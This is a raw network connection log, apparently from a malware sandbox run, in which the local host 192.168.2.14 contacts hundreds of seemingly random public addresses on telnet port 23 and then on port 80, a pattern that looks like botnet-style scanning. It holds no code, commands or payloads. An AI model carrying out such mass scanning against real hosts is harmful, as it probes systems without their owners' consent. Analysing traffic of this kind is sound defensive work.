Oct 17, 2024 02:19:41.023283958 CEST	20632	23	192.168.2.14	52.79.171.151
Oct 17, 2024 02:19:41.023289919 CEST	20632	23	192.168.2.14	2.159.64.179
Oct 17, 2024 02:19:41.023292065 CEST	23	20632	216.4.61.5	192.168.2.14
Oct 17, 2024 02:19:41.023298025 CEST	20632	23	192.168.2.14	194.27.56.66
Oct 17, 2024 02:19:41.023304939 CEST	23	20632	140.20.72.170	192.168.2.14
Oct 17, 2024 02:19:41.023308039 CEST	20632	23	192.168.2.14	154.152.84.215
Oct 17, 2024 02:19:41.023308039 CEST	20632	23	192.168.2.14	4.225.41.15
Oct 17, 2024 02:19:41.023319006 CEST	23	20632	211.2.99.42	192.168.2.14
Oct 17, 2024 02:19:41.023319960 CEST	20632	23	192.168.2.14	216.4.61.5
Oct 17, 2024 02:19:41.023333073 CEST	23	20632	143.53.27.244	192.168.2.14
Oct 17, 2024 02:19:41.023348093 CEST	23	20632	40.64.66.136	192.168.2.14
Oct 17, 2024 02:19:41.023355007 CEST	20632	23	192.168.2.14	211.2.99.42
Oct 17, 2024 02:19:41.023360014 CEST	20632	23	192.168.2.14	140.20.72.170
Oct 17, 2024 02:19:41.023361921 CEST	23	20632	88.121.69.90	192.168.2.14
Oct 17, 2024 02:19:41.023367882 CEST	20632	23	192.168.2.14	143.53.27.244
Oct 17, 2024 02:19:41.023375988 CEST	23	20632	27.185.86.40	192.168.2.14
Oct 17, 2024 02:19:41.023394108 CEST	20632	23	192.168.2.14	40.64.66.136
Oct 17, 2024 02:19:41.023410082 CEST	23	20632	27.107.53.98	192.168.2.14
Oct 17, 2024 02:19:41.023427010 CEST	20632	23	192.168.2.14	88.121.69.90
Oct 17, 2024 02:19:41.023428917 CEST	23	20632	59.81.230.26	192.168.2.14
Oct 17, 2024 02:19:41.023438931 CEST	20632	23	192.168.2.14	27.185.86.40
Oct 17, 2024 02:19:41.023442984 CEST	23	20632	157.157.151.10	192.168.2.14
Oct 17, 2024 02:19:41.023458958 CEST	23	20632	183.86.246.22	192.168.2.14
Oct 17, 2024 02:19:41.023472071 CEST	23	20632	52.180.67.214	192.168.2.14
Oct 17, 2024 02:19:41.023480892 CEST	20632	23	192.168.2.14	59.81.230.26
Oct 17, 2024 02:19:41.023484945 CEST	23	20632	8.5.124.181	192.168.2.14
Oct 17, 2024 02:19:41.023487091 CEST	20632	23	192.168.2.14	157.157.151.10
Oct 17, 2024 02:19:41.023492098 CEST	20632	23	192.168.2.14	183.86.246.22
Oct 17, 2024 02:19:41.023499012 CEST	23	20632	87.157.32.23	192.168.2.14
Oct 17, 2024 02:19:41.023505926 CEST	20632	23	192.168.2.14	27.107.53.98
Oct 17, 2024 02:19:41.023508072 CEST	20632	23	192.168.2.14	52.180.67.214
Oct 17, 2024 02:19:41.023515940 CEST	23	20632	107.114.61.167	192.168.2.14
Oct 17, 2024 02:19:41.023530006 CEST	23	20632	198.219.149.163	192.168.2.14
Oct 17, 2024 02:19:41.023540974 CEST	20632	23	192.168.2.14	8.5.124.181
Oct 17, 2024 02:19:41.023544073 CEST	23	20632	156.238.108.175	192.168.2.14
Oct 17, 2024 02:19:41.023551941 CEST	20632	23	192.168.2.14	107.114.61.167
Oct 17, 2024 02:19:41.023557901 CEST	23	20632	97.172.187.141	192.168.2.14
Oct 17, 2024 02:19:41.023571014 CEST	23	20632	131.11.18.230	192.168.2.14
Oct 17, 2024 02:19:41.023583889 CEST	23	20632	190.194.67.184	192.168.2.14
Oct 17, 2024 02:19:41.023596048 CEST	20632	23	192.168.2.14	156.238.108.175
Oct 17, 2024 02:19:41.023598909 CEST	23	20632	166.134.96.28	192.168.2.14
Oct 17, 2024 02:19:41.023607969 CEST	20632	23	192.168.2.14	131.11.18.230
Oct 17, 2024 02:19:41.023612022 CEST	23	20632	106.211.231.196	192.168.2.14
Oct 17, 2024 02:19:41.023626089 CEST	23	20632	166.56.122.64	192.168.2.14
Oct 17, 2024 02:19:41.023633957 CEST	20632	23	192.168.2.14	87.157.32.23
Oct 17, 2024 02:19:41.023633957 CEST	20632	23	192.168.2.14	198.219.149.163
Oct 17, 2024 02:19:41.023633957 CEST	20632	23	192.168.2.14	97.172.187.141
Oct 17, 2024 02:19:41.023633957 CEST	20632	23	192.168.2.14	190.194.67.184
Oct 17, 2024 02:19:41.023638964 CEST	23	20632	118.72.53.80	192.168.2.14
Oct 17, 2024 02:19:41.023653030 CEST	23	20632	80.192.180.216	192.168.2.14
Oct 17, 2024 02:19:41.023658991 CEST	20632	23	192.168.2.14	166.134.96.28
Oct 17, 2024 02:19:41.023658991 CEST	20632	23	192.168.2.14	106.211.231.196
Oct 17, 2024 02:19:41.023658991 CEST	20632	23	192.168.2.14	166.56.122.64
Oct 17, 2024 02:19:41.023667097 CEST	23	20632	200.41.125.147	192.168.2.14
Oct 17, 2024 02:19:41.023677111 CEST	20632	23	192.168.2.14	118.72.53.80
Oct 17, 2024 02:19:41.023679972 CEST	23	20632	125.85.140.17	192.168.2.14
Oct 17, 2024 02:19:41.023684025 CEST	20632	23	192.168.2.14	80.192.180.216
Oct 17, 2024 02:19:41.023693085 CEST	23	20632	195.95.78.139	192.168.2.14
Oct 17, 2024 02:19:41.023706913 CEST	23	20632	147.80.206.195	192.168.2.14
Oct 17, 2024 02:19:41.023720026 CEST	23	20632	169.111.181.240	192.168.2.14
Oct 17, 2024 02:19:41.023722887 CEST	20632	23	192.168.2.14	125.85.140.17
Oct 17, 2024 02:19:41.023727894 CEST	20632	23	192.168.2.14	200.41.125.147
Oct 17, 2024 02:19:41.023727894 CEST	20632	23	192.168.2.14	195.95.78.139
Oct 17, 2024 02:19:41.023741007 CEST	20632	23	192.168.2.14	147.80.206.195
Oct 17, 2024 02:19:41.023772955 CEST	20632	23	192.168.2.14	169.111.181.240
Oct 17, 2024 02:19:41.045057058 CEST	20646	80	192.168.2.14	96.128.202.170
Oct 17, 2024 02:19:41.045114994 CEST	20646	80	192.168.2.14	176.113.27.165
Oct 17, 2024 02:19:41.045114994 CEST	20646	80	192.168.2.14	174.24.2.27
Oct 17, 2024 02:19:41.045119047 CEST	20646	80	192.168.2.14	113.128.194.225
Oct 17, 2024 02:19:41.045119047 CEST	20646	80	192.168.2.14	104.67.111.220
Oct 17, 2024 02:19:41.045149088 CEST	20646	80	192.168.2.14	175.135.73.178
Oct 17, 2024 02:19:41.045151949 CEST	20646	80	192.168.2.14	5.130.89.178
Oct 17, 2024 02:19:41.045166016 CEST	20646	80	192.168.2.14	27.147.76.225
Oct 17, 2024 02:19:41.045166016 CEST	20646	80	192.168.2.14	206.61.33.79
Oct 17, 2024 02:19:41.045166969 CEST	20646	80	192.168.2.14	155.202.61.115
Oct 17, 2024 02:19:41.045166969 CEST	20646	80	192.168.2.14	173.138.120.251
Oct 17, 2024 02:19:41.045186043 CEST	20646	80	192.168.2.14	174.27.117.70
Oct 17, 2024 02:19:41.045197010 CEST	20646	80	192.168.2.14	151.5.201.239
Oct 17, 2024 02:19:41.045217037 CEST	20646	80	192.168.2.14	131.123.125.247
Oct 17, 2024 02:19:41.045217037 CEST	20646	80	192.168.2.14	73.11.181.94
Oct 17, 2024 02:19:41.045232058 CEST	20646	80	192.168.2.14	198.90.180.54
Oct 17, 2024 02:19:41.045254946 CEST	20646	80	192.168.2.14	151.92.33.61
Oct 17, 2024 02:19:41.045277119 CEST	20646	80	192.168.2.14	101.247.211.235
Oct 17, 2024 02:19:41.045277119 CEST	20646	80	192.168.2.14	183.101.116.38
Oct 17, 2024 02:19:41.045279026 CEST	20646	80	192.168.2.14	117.8.254.220
Oct 17, 2024 02:19:41.045284986 CEST	20646	80	192.168.2.14	136.140.231.208
Oct 17, 2024 02:19:41.045284986 CEST	20646	80	192.168.2.14	57.193.125.46
Oct 17, 2024 02:19:41.045285940 CEST	20646	80	192.168.2.14	155.248.209.160
Oct 17, 2024 02:19:41.045293093 CEST	20646	80	192.168.2.14	166.156.182.79
Oct 17, 2024 02:19:41.045310020 CEST	20646	80	192.168.2.14	5.71.231.134
Oct 17, 2024 02:19:41.045325994 CEST	20646	80	192.168.2.14	180.83.57.162
Oct 17, 2024 02:19:41.045326948 CEST	20646	80	192.168.2.14	175.89.36.136
Oct 17, 2024 02:19:41.045861959 CEST	20646	80	192.168.2.14	216.162.115.8
Oct 17, 2024 02:19:41.045861959 CEST	20646	80	192.168.2.14	59.213.205.136
Oct 17, 2024 02:19:41.045867920 CEST	20646	80	192.168.2.14	39.144.2.241
Oct 17, 2024 02:19:41.045875072 CEST	20646	80	192.168.2.14	93.69.149.217
Oct 17, 2024 02:19:41.045875072 CEST	20646	80	192.168.2.14	54.190.28.113
Oct 17, 2024 02:19:41.045875072 CEST	20646	80	192.168.2.14	162.59.53.132
Oct 17, 2024 02:19:41.045953989 CEST	20646	80	192.168.2.14	47.123.240.67
Oct 17, 2024 02:19:41.045954943 CEST	20646	80	192.168.2.14	172.48.127.151
Oct 17, 2024 02:19:41.045955896 CEST	20646	80	192.168.2.14	45.21.149.219
Oct 17, 2024 02:19:41.045969963 CEST	20646	80	192.168.2.14	24.159.2.208
Oct 17, 2024 02:19:41.045979977 CEST	20646	80	192.168.2.14	43.226.11.224
Oct 17, 2024 02:19:41.045979977 CEST	20646	80	192.168.2.14	180.39.30.52
Oct 17, 2024 02:19:41.045979977 CEST	20646	80	192.168.2.14	184.113.130.61
Oct 17, 2024 02:19:41.046000004 CEST	20646	80	192.168.2.14	96.126.207.202
Oct 17, 2024 02:19:41.046000957 CEST	20646	80	192.168.2.14	200.69.221.58
Oct 17, 2024 02:19:41.046015024 CEST	20646	80	192.168.2.14	130.169.41.233
Oct 17, 2024 02:19:41.046036959 CEST	20646	80	192.168.2.14	128.7.12.180
Oct 17, 2024 02:19:41.046044111 CEST	20646	80	192.168.2.14	137.55.111.123
Oct 17, 2024 02:19:41.046044111 CEST	20646	80	192.168.2.14	162.0.128.111
Oct 17, 2024 02:19:41.046046019 CEST	20646	80	192.168.2.14	129.241.26.197
Oct 17, 2024 02:19:41.046050072 CEST	20646	80	192.168.2.14	139.119.78.74
Oct 17, 2024 02:19:41.046050072 CEST	20646	80	192.168.2.14	220.222.96.189
Oct 17, 2024 02:19:41.046051025 CEST	20646	80	192.168.2.14	163.8.170.156
Oct 17, 2024 02:19:41.046057940 CEST	20646	80	192.168.2.14	147.49.229.14
Oct 17, 2024 02:19:41.046075106 CEST	20646	80	192.168.2.14	182.132.193.27
Oct 17, 2024 02:19:41.046078920 CEST	20646	80	192.168.2.14	218.108.23.30
Oct 17, 2024 02:19:41.046078920 CEST	20646	80	192.168.2.14	207.203.30.200
Oct 17, 2024 02:19:41.046102047 CEST	20646	80	192.168.2.14	202.116.48.74
Oct 17, 2024 02:19:41.046109915 CEST	20646	80	192.168.2.14	98.242.53.73
Oct 17, 2024 02:19:41.046123981 CEST	20646	80	192.168.2.14	213.16.243.220
Oct 17, 2024 02:19:41.046130896 CEST	20646	80	192.168.2.14	198.36.138.239
Oct 17, 2024 02:19:41.046133995 CEST	20646	80	192.168.2.14	102.219.103.167
Oct 17, 2024 02:19:41.046149015 CEST	20646	80	192.168.2.14	208.9.61.39
Oct 17, 2024 02:19:41.046149015 CEST	20646	80	192.168.2.14	93.85.10.209
Oct 17, 2024 02:19:41.046159029 CEST	20646	80	192.168.2.14	89.205.249.27
Oct 17, 2024 02:19:41.046161890 CEST	20646	80	192.168.2.14	199.4.155.168
Oct 17, 2024 02:19:41.046164989 CEST	20646	80	192.168.2.14	196.201.9.128
Oct 17, 2024 02:19:41.046164989 CEST	20646	80	192.168.2.14	133.147.117.27
Oct 17, 2024 02:19:41.046194077 CEST	20646	80	192.168.2.14	189.3.53.250
Oct 17, 2024 02:19:41.046194077 CEST	20646	80	192.168.2.14	160.83.128.230
Oct 17, 2024 02:19:41.046197891 CEST	20646	80	192.168.2.14	68.253.207.101
Oct 17, 2024 02:19:41.046217918 CEST	20646	80	192.168.2.14	173.134.199.164
Oct 17, 2024 02:19:41.046217918 CEST	20646	80	192.168.2.14	126.195.147.30
Oct 17, 2024 02:19:41.046222925 CEST	20646	80	192.168.2.14	174.64.204.55
Oct 17, 2024 02:19:41.046230078 CEST	20646	80	192.168.2.14	60.255.163.138
Oct 17, 2024 02:19:41.046235085 CEST	20646	80	192.168.2.14	132.200.106.230
Oct 17, 2024 02:19:41.046266079 CEST	20646	80	192.168.2.14	36.129.78.117
Oct 17, 2024 02:19:41.046272039 CEST	20646	80	192.168.2.14	117.50.228.62
Oct 17, 2024 02:19:41.046281099 CEST	20646	80	192.168.2.14	153.71.173.164
Oct 17, 2024 02:19:41.046288967 CEST	20646	80	192.168.2.14	201.90.41.212
Oct 17, 2024 02:19:41.046299934 CEST	20646	80	192.168.2.14	212.160.200.226
Oct 17, 2024 02:19:41.046315908 CEST	20646	80	192.168.2.14	65.149.139.140
Oct 17, 2024 02:19:41.046315908 CEST	20646	80	192.168.2.14	222.80.213.83
Oct 17, 2024 02:19:41.046322107 CEST	20646	80	192.168.2.14	216.232.8.186
Oct 17, 2024 02:19:41.046324015 CEST	20646	80	192.168.2.14	80.47.111.194
Oct 17, 2024 02:19:41.046331882 CEST	20646	80	192.168.2.14	8.195.166.159
Oct 17, 2024 02:19:41.046355009 CEST	20646	80	192.168.2.14	148.90.123.249
Oct 17, 2024 02:19:41.046365023 CEST	20646	80	192.168.2.14	209.10.130.87
Oct 17, 2024 02:19:41.046365976 CEST	20646	80	192.168.2.14	65.182.119.153
Oct 17, 2024 02:19:41.046382904 CEST	20646	80	192.168.2.14	2.83.98.137
Oct 17, 2024 02:19:41.046382904 CEST	20646	80	192.168.2.14	94.8.190.200
Oct 17, 2024 02:19:41.046382904 CEST	20646	80	192.168.2.14	62.200.140.21
Oct 17, 2024 02:19:41.046384096 CEST	20646	80	192.168.2.14	107.222.113.58
Oct 17, 2024 02:19:41.046403885 CEST	20646	80	192.168.2.14	31.217.15.0
Oct 17, 2024 02:19:41.046411037 CEST	20646	80	192.168.2.14	37.85.205.78
Oct 17, 2024 02:19:41.046415091 CEST	20646	80	192.168.2.14	45.36.46.7
Oct 17, 2024 02:19:41.046431065 CEST	20646	80	192.168.2.14	122.65.119.137
Oct 17, 2024 02:19:41.046607971 CEST	20646	80	192.168.2.14	212.238.39.182
Oct 17, 2024 02:19:41.046612024 CEST	20646	80	192.168.2.14	36.46.127.250
Oct 17, 2024 02:19:41.046612978 CEST	20646	80	192.168.2.14	39.136.67.222
Oct 17, 2024 02:19:41.046633959 CEST	20646	80	192.168.2.14	119.43.17.98
Oct 17, 2024 02:19:41.046633959 CEST	20646	80	192.168.2.14	101.45.45.64
Oct 17, 2024 02:19:41.046643019 CEST	20646	80	192.168.2.14	60.20.43.43
Oct 17, 2024 02:19:41.046643019 CEST	20646	80	192.168.2.14	160.121.87.135
Oct 17, 2024 02:19:41.046668053 CEST	20646	80	192.168.2.14	20.41.13.130
Oct 17, 2024 02:19:41.046674967 CEST	20646	80	192.168.2.14	145.162.52.218
Oct 17, 2024 02:19:41.046677113 CEST	20646	80	192.168.2.14	52.74.204.117
Oct 17, 2024 02:19:41.046689034 CEST	20646	80	192.168.2.14	57.222.88.137
Oct 17, 2024 02:19:41.046689034 CEST	20646	80	192.168.2.14	66.24.173.21
Oct 17, 2024 02:19:41.046705961 CEST	20646	80	192.168.2.14	207.45.81.68
Oct 17, 2024 02:19:41.046711922 CEST	20646	80	192.168.2.14	114.192.180.8
Oct 17, 2024 02:19:41.046711922 CEST	20646	80	192.168.2.14	166.226.230.169
Oct 17, 2024 02:19:41.046711922 CEST	20646	80	192.168.2.14	222.193.195.36
Oct 17, 2024 02:19:41.046719074 CEST	20646	80	192.168.2.14	157.218.99.33
Oct 17, 2024 02:19:41.046721935 CEST	20646	80	192.168.2.14	216.193.119.98
Oct 17, 2024 02:19:41.046721935 CEST	20646	80	192.168.2.14	35.45.188.242
Oct 17, 2024 02:19:41.046721935 CEST	20646	80	192.168.2.14	27.237.227.136
Oct 17, 2024 02:19:41.046730995 CEST	20646	80	192.168.2.14	135.254.222.236
Oct 17, 2024 02:19:41.046746969 CEST	20646	80	192.168.2.14	85.40.106.105
Oct 17, 2024 02:19:41.046746969 CEST	20646	80	192.168.2.14	210.38.120.199
Oct 17, 2024 02:19:41.046751022 CEST	20646	80	192.168.2.14	74.31.107.159
Oct 17, 2024 02:19:41.046760082 CEST	20646	80	192.168.2.14	61.192.170.125
Oct 17, 2024 02:19:41.046760082 CEST	20646	80	192.168.2.14	220.154.93.134
Oct 17, 2024 02:19:41.046760082 CEST	20646	80	192.168.2.14	138.39.198.132
Oct 17, 2024 02:19:41.046763897 CEST	20646	80	192.168.2.14	66.119.106.113
Oct 17, 2024 02:19:41.046777010 CEST	20646	80	192.168.2.14	126.59.55.112
Oct 17, 2024 02:19:41.046791077 CEST	20646	80	192.168.2.14	34.50.168.128
Oct 17, 2024 02:19:41.046808004 CEST	20646	80	192.168.2.14	31.184.127.205
Oct 17, 2024 02:19:41.046808004 CEST	20646	80	192.168.2.14	92.24.74.7
Oct 17, 2024 02:19:41.046811104 CEST	20646	80	192.168.2.14	140.212.103.44
Oct 17, 2024 02:19:41.046813965 CEST	20646	80	192.168.2.14	74.67.187.229
Oct 17, 2024 02:19:41.046816111 CEST	20646	80	192.168.2.14	81.233.179.204
Oct 17, 2024 02:19:41.046818972 CEST	20646	80	192.168.2.14	161.190.100.158
Oct 17, 2024 02:19:41.046833992 CEST	20646	80	192.168.2.14	167.108.226.109
Oct 17, 2024 02:19:41.046840906 CEST	20646	80	192.168.2.14	107.1.240.122
Oct 17, 2024 02:19:41.046853065 CEST	20646	80	192.168.2.14	113.131.128.239
Oct 17, 2024 02:19:41.046859980 CEST	20646	80	192.168.2.14	109.3.101.144
Oct 17, 2024 02:19:41.046868086 CEST	20646	80	192.168.2.14	51.120.245.105
Oct 17, 2024 02:19:41.046870947 CEST	20646	80	192.168.2.14	183.246.247.40
Oct 17, 2024 02:19:41.046875954 CEST	20646	80	192.168.2.14	199.58.61.188
Oct 17, 2024 02:19:41.046875954 CEST	20646	80	192.168.2.14	211.32.135.155
Oct 17, 2024 02:19:41.046876907 CEST	20646	80	192.168.2.14	42.206.232.18
Oct 17, 2024 02:19:41.046876907 CEST	20646	80	192.168.2.14	25.246.143.164
Oct 17, 2024 02:19:41.046895981 CEST	20646	80	192.168.2.14	40.163.231.225
Oct 17, 2024 02:19:41.046895981 CEST	20646	80	192.168.2.14	19.54.4.167
Oct 17, 2024 02:19:41.046904087 CEST	20646	80	192.168.2.14	74.67.219.248
Oct 17, 2024 02:19:41.046915054 CEST	20646	80	192.168.2.14	162.199.39.69
Oct 17, 2024 02:19:41.046920061 CEST	20646	80	192.168.2.14	194.17.79.67
Oct 17, 2024 02:19:41.046931028 CEST	20646	80	192.168.2.14	82.235.166.47
Oct 17, 2024 02:19:41.046947002 CEST	20646	80	192.168.2.14	58.167.14.24
Oct 17, 2024 02:19:41.046977997 CEST	20646	80	192.168.2.14	198.157.80.7
Oct 17, 2024 02:19:41.046981096 CEST	20646	80	192.168.2.14	189.109.155.141
Oct 17, 2024 02:19:41.046981096 CEST	20646	80	192.168.2.14	68.163.107.76
Oct 17, 2024 02:19:41.046983004 CEST	20646	80	192.168.2.14	184.217.214.154
Oct 17, 2024 02:19:41.046983004 CEST	20646	80	192.168.2.14	43.33.41.156
Oct 17, 2024 02:19:41.047014952 CEST	20646	80	192.168.2.14	58.47.151.156
Oct 17, 2024 02:19:41.047019005 CEST	20646	80	192.168.2.14	44.4.71.224
Oct 17, 2024 02:19:41.047019958 CEST	20646	80	192.168.2.14	9.51.20.138
Oct 17, 2024 02:19:41.047019005 CEST	20646	80	192.168.2.14	148.160.121.19
Oct 17, 2024 02:19:41.047039986 CEST	20646	80	192.168.2.14	54.37.5.77
Oct 17, 2024 02:19:41.047041893 CEST	20646	80	192.168.2.14	45.156.214.179
Oct 17, 2024 02:19:41.047044039 CEST	20646	80	192.168.2.14	12.231.41.25
Oct 17, 2024 02:19:41.047044039 CEST	20646	80	192.168.2.14	188.1.234.56
Oct 17, 2024 02:19:41.047044039 CEST	20646	80	192.168.2.14	2.28.171.8
Oct 17, 2024 02:19:41.047044992 CEST	20646	80	192.168.2.14	88.108.111.96
Oct 17, 2024 02:19:41.047044039 CEST	20646	80	192.168.2.14	196.143.141.50
Oct 17, 2024 02:19:41.047044992 CEST	20646	80	192.168.2.14	9.195.111.182
Oct 17, 2024 02:19:41.047044992 CEST	20646	80	192.168.2.14	4.85.72.120
Oct 17, 2024 02:19:41.047046900 CEST	20646	80	192.168.2.14	163.159.167.24
Oct 17, 2024 02:19:41.047044992 CEST	20646	80	192.168.2.14	195.131.43.114
Oct 17, 2024 02:19:41.047044992 CEST	20646	80	192.168.2.14	116.113.23.164
Oct 17, 2024 02:19:41.047051907 CEST	20646	80	192.168.2.14	35.158.189.100
Oct 17, 2024 02:19:41.047063112 CEST	20646	80	192.168.2.14	102.79.203.69
Oct 17, 2024 02:19:41.047070980 CEST	20646	80	192.168.2.14	200.210.230.243
Oct 17, 2024 02:19:41.047076941 CEST	20646	80	192.168.2.14	41.174.122.249
Oct 17, 2024 02:19:41.047076941 CEST	20646	80	192.168.2.14	96.140.7.196
Oct 17, 2024 02:19:41.047095060 CEST	20646	80	192.168.2.14	41.109.191.215
Oct 17, 2024 02:19:41.047100067 CEST	20646	80	192.168.2.14	112.80.96.101
Oct 17, 2024 02:19:41.047102928 CEST	20646	80	192.168.2.14	40.9.25.118
Oct 17, 2024 02:19:41.047113895 CEST	20646	80	192.168.2.14	159.51.201.141
Oct 17, 2024 02:19:41.047133923 CEST	20646	80	192.168.2.14	65.137.102.184
Oct 17, 2024 02:19:41.047135115 CEST	20646	80	192.168.2.14	81.77.137.15
Oct 17, 2024 02:19:41.047135115 CEST	20646	80	192.168.2.14	200.54.169.191
Oct 17, 2024 02:19:41.047138929 CEST	20646	80	192.168.2.14	92.209.188.207
Oct 17, 2024 02:19:41.047151089 CEST	20646	80	192.168.2.14	63.216.31.205
Oct 17, 2024 02:19:41.047152996 CEST	20646	80	192.168.2.14	122.51.118.213
Oct 17, 2024 02:19:41.047168016 CEST	20646	80	192.168.2.14	133.96.121.141
Oct 17, 2024 02:19:41.047173023 CEST	20646	80	192.168.2.14	187.156.103.4
Oct 17, 2024 02:19:41.047183990 CEST	20646	80	192.168.2.14	182.252.55.253
Oct 17, 2024 02:19:41.047187090 CEST	20646	80	192.168.2.14	122.206.15.209
Oct 17, 2024 02:19:41.047188044 CEST	20646	80	192.168.2.14	199.3.189.19
Oct 17, 2024 02:19:41.047199965 CEST	20646	80	192.168.2.14	141.116.12.140
Oct 17, 2024 02:19:41.047214031 CEST	20646	80	192.168.2.14	120.79.43.126
Oct 17, 2024 02:19:41.047223091 CEST	20646	80	192.168.2.14	187.44.68.184
Oct 17, 2024 02:19:41.047223091 CEST	20646	80	192.168.2.14	68.239.200.65
Oct 17, 2024 02:19:41.047266006 CEST	20646	80	192.168.2.14	100.197.104.147
Oct 17, 2024 02:19:41.047266006 CEST	20646	80	192.168.2.14	95.157.67.78
Oct 17, 2024 02:19:41.047266960 CEST	20646	80	192.168.2.14	199.194.253.204
Oct 17, 2024 02:19:41.047288895 CEST	20646	80	192.168.2.14	212.238.214.217
Oct 17, 2024 02:19:41.047298908 CEST	20646	80	192.168.2.14	46.14.170.169
Oct 17, 2024 02:19:41.047307014 CEST	20646	80	192.168.2.14	40.221.35.148
Oct 17, 2024 02:19:41.047313929 CEST	20646	80	192.168.2.14	166.126.97.141
Oct 17, 2024 02:19:41.047322035 CEST	20646	80	192.168.2.14	167.63.232.97
Oct 17, 2024 02:19:41.047333002 CEST	20646	80	192.168.2.14	117.30.0.143
Oct 17, 2024 02:19:41.047334909 CEST	20646	80	192.168.2.14	183.120.126.164
Oct 17, 2024 02:19:41.047336102 CEST	20646	80	192.168.2.14	125.28.152.28
Oct 17, 2024 02:19:41.047336102 CEST	20646	80	192.168.2.14	155.19.151.250
Oct 17, 2024 02:19:41.047347069 CEST	20646	80	192.168.2.14	105.104.226.37
Oct 17, 2024 02:19:41.047353983 CEST	20646	80	192.168.2.14	209.108.20.148
Oct 17, 2024 02:19:41.047353983 CEST	20646	80	192.168.2.14	207.13.2.222
Oct 17, 2024 02:19:41.047354937 CEST	20646	80	192.168.2.14	60.173.192.62
Oct 17, 2024 02:19:41.047372103 CEST	20646	80	192.168.2.14	168.194.198.88
Oct 17, 2024 02:19:41.047372103 CEST	20646	80	192.168.2.14	20.85.50.244
Oct 17, 2024 02:19:41.047374010 CEST	20646	80	192.168.2.14	60.251.57.210
Oct 17, 2024 02:19:41.047383070 CEST	20646	80	192.168.2.14	90.200.42.216
Oct 17, 2024 02:19:41.047401905 CEST	20646	80	192.168.2.14	137.25.222.92
Oct 17, 2024 02:19:41.047408104 CEST	20646	80	192.168.2.14	121.133.102.217
Oct 17, 2024 02:19:41.047418118 CEST	20646	80	192.168.2.14	112.9.61.250
Oct 17, 2024 02:19:41.047424078 CEST	20646	80	192.168.2.14	202.1.21.42
Oct 17, 2024 02:19:41.047424078 CEST	20646	80	192.168.2.14	52.136.19.193
Oct 17, 2024 02:19:41.047425032 CEST	20646	80	192.168.2.14	97.251.41.191
Oct 17, 2024 02:19:41.047429085 CEST	20646	80	192.168.2.14	175.121.127.47
Oct 17, 2024 02:19:41.047430038 CEST	20646	80	192.168.2.14	155.94.182.220
Oct 17, 2024 02:19:41.047431946 CEST	20646	80	192.168.2.14	32.11.59.94
Oct 17, 2024 02:19:41.047446966 CEST	20646	80	192.168.2.14	186.79.56.107
Oct 17, 2024 02:19:41.047446966 CEST	20646	80	192.168.2.14	69.88.12.99
Oct 17, 2024 02:19:41.047466040 CEST	20646	80	192.168.2.14	163.173.140.161
Oct 17, 2024 02:19:41.047466040 CEST	20646	80	192.168.2.14	57.126.121.131
Oct 17, 2024 02:19:41.047466040 CEST	20646	80	192.168.2.14	147.141.12.81
Oct 17, 2024 02:19:41.047477961 CEST	20646	80	192.168.2.14	217.245.3.20
Oct 17, 2024 02:19:41.047477961 CEST	20646	80	192.168.2.14	186.23.83.215
Oct 17, 2024 02:19:41.047489882 CEST	20646	80	192.168.2.14	162.194.173.57
Oct 17, 2024 02:19:41.047497988 CEST	20646	80	192.168.2.14	143.106.111.6
Oct 17, 2024 02:19:41.047497988 CEST	20646	80	192.168.2.14	144.211.211.75
Oct 17, 2024 02:19:41.047509909 CEST	20646	80	192.168.2.14	195.163.167.163
Oct 17, 2024 02:19:41.047509909 CEST	20646	80	192.168.2.14	53.248.153.108
Oct 17, 2024 02:19:41.047523975 CEST	20646	80	192.168.2.14	178.130.161.205
Oct 17, 2024 02:19:41.047550917 CEST	20646	80	192.168.2.14	74.32.193.107
Oct 17, 2024 02:19:41.047555923 CEST	20646	80	192.168.2.14	194.48.144.36
Oct 17, 2024 02:19:41.047555923 CEST	20646	80	192.168.2.14	122.27.168.125
Oct 17, 2024 02:19:41.047557116 CEST	20646	80	192.168.2.14	5.176.209.94
Oct 17, 2024 02:19:41.047558069 CEST	20646	80	192.168.2.14	106.27.190.114
Oct 17, 2024 02:19:41.047559023 CEST	20646	80	192.168.2.14	65.47.162.146
Oct 17, 2024 02:19:41.047574043 CEST	20646	80	192.168.2.14	60.57.159.244
Oct 17, 2024 02:19:41.047586918 CEST	20646	80	192.168.2.14	70.29.212.87
Oct 17, 2024 02:19:41.047590017 CEST	20646	80	192.168.2.14	70.23.140.153
Oct 17, 2024 02:19:41.047600985 CEST	20646	80	192.168.2.14	198.151.255.9
Oct 17, 2024 02:19:41.047600985 CEST	20646	80	192.168.2.14	149.34.202.1
Oct 17, 2024 02:19:41.047600985 CEST	20646	80	192.168.2.14	87.38.163.168
Oct 17, 2024 02:19:41.047600985 CEST	20646	80	192.168.2.14	117.60.202.210
Oct 17, 2024 02:19:41.047615051 CEST	20646	80	192.168.2.14	23.108.196.223
Oct 17, 2024 02:19:41.047621012 CEST	20646	80	192.168.2.14	179.200.221.24
Oct 17, 2024 02:19:41.047621965 CEST	20646	80	192.168.2.14	211.191.215.160
Oct 17, 2024 02:19:41.047635078 CEST	20646	80	192.168.2.14	134.64.88.117
Oct 17, 2024 02:19:41.047640085 CEST	20646	80	192.168.2.14	46.155.241.200
Oct 17, 2024 02:19:41.047641039 CEST	20646	80	192.168.2.14	12.151.93.74
Oct 17, 2024 02:19:41.047658920 CEST	20646	80	192.168.2.14	180.21.223.246
Oct 17, 2024 02:19:41.047661066 CEST	20646	80	192.168.2.14	163.199.219.72
Oct 17, 2024 02:19:41.047677994 CEST	20646	80	192.168.2.14	221.147.220.52
Oct 17, 2024 02:19:41.047677994 CEST	20646	80	192.168.2.14	209.239.213.18
Oct 17, 2024 02:19:41.047678947 CEST	20646	80	192.168.2.14	36.160.16.253
Oct 17, 2024 02:19:41.047678947 CEST	20646	80	192.168.2.14	132.64.197.252
Oct 17, 2024 02:19:41.047681093 CEST	20646	80	192.168.2.14	209.128.30.35
Oct 17, 2024 02:19:41.047691107 CEST	20646	80	192.168.2.14	148.185.62.200
Oct 17, 2024 02:19:41.047702074 CEST	20646	80	192.168.2.14	25.52.7.195
Oct 17, 2024 02:19:41.047689915 CEST	20646	80	192.168.2.14	96.22.230.83
Oct 17, 2024 02:19:41.047720909 CEST	20646	80	192.168.2.14	167.117.200.59
Oct 17, 2024 02:19:41.047730923 CEST	20646	80	192.168.2.14	212.100.217.43
Oct 17, 2024 02:19:41.047734022 CEST	20646	80	192.168.2.14	77.192.96.231
Oct 17, 2024 02:19:41.047736883 CEST	20646	80	192.168.2.14	115.65.80.18
Oct 17, 2024 02:19:41.047736883 CEST	20646	80	192.168.2.14	129.205.54.121
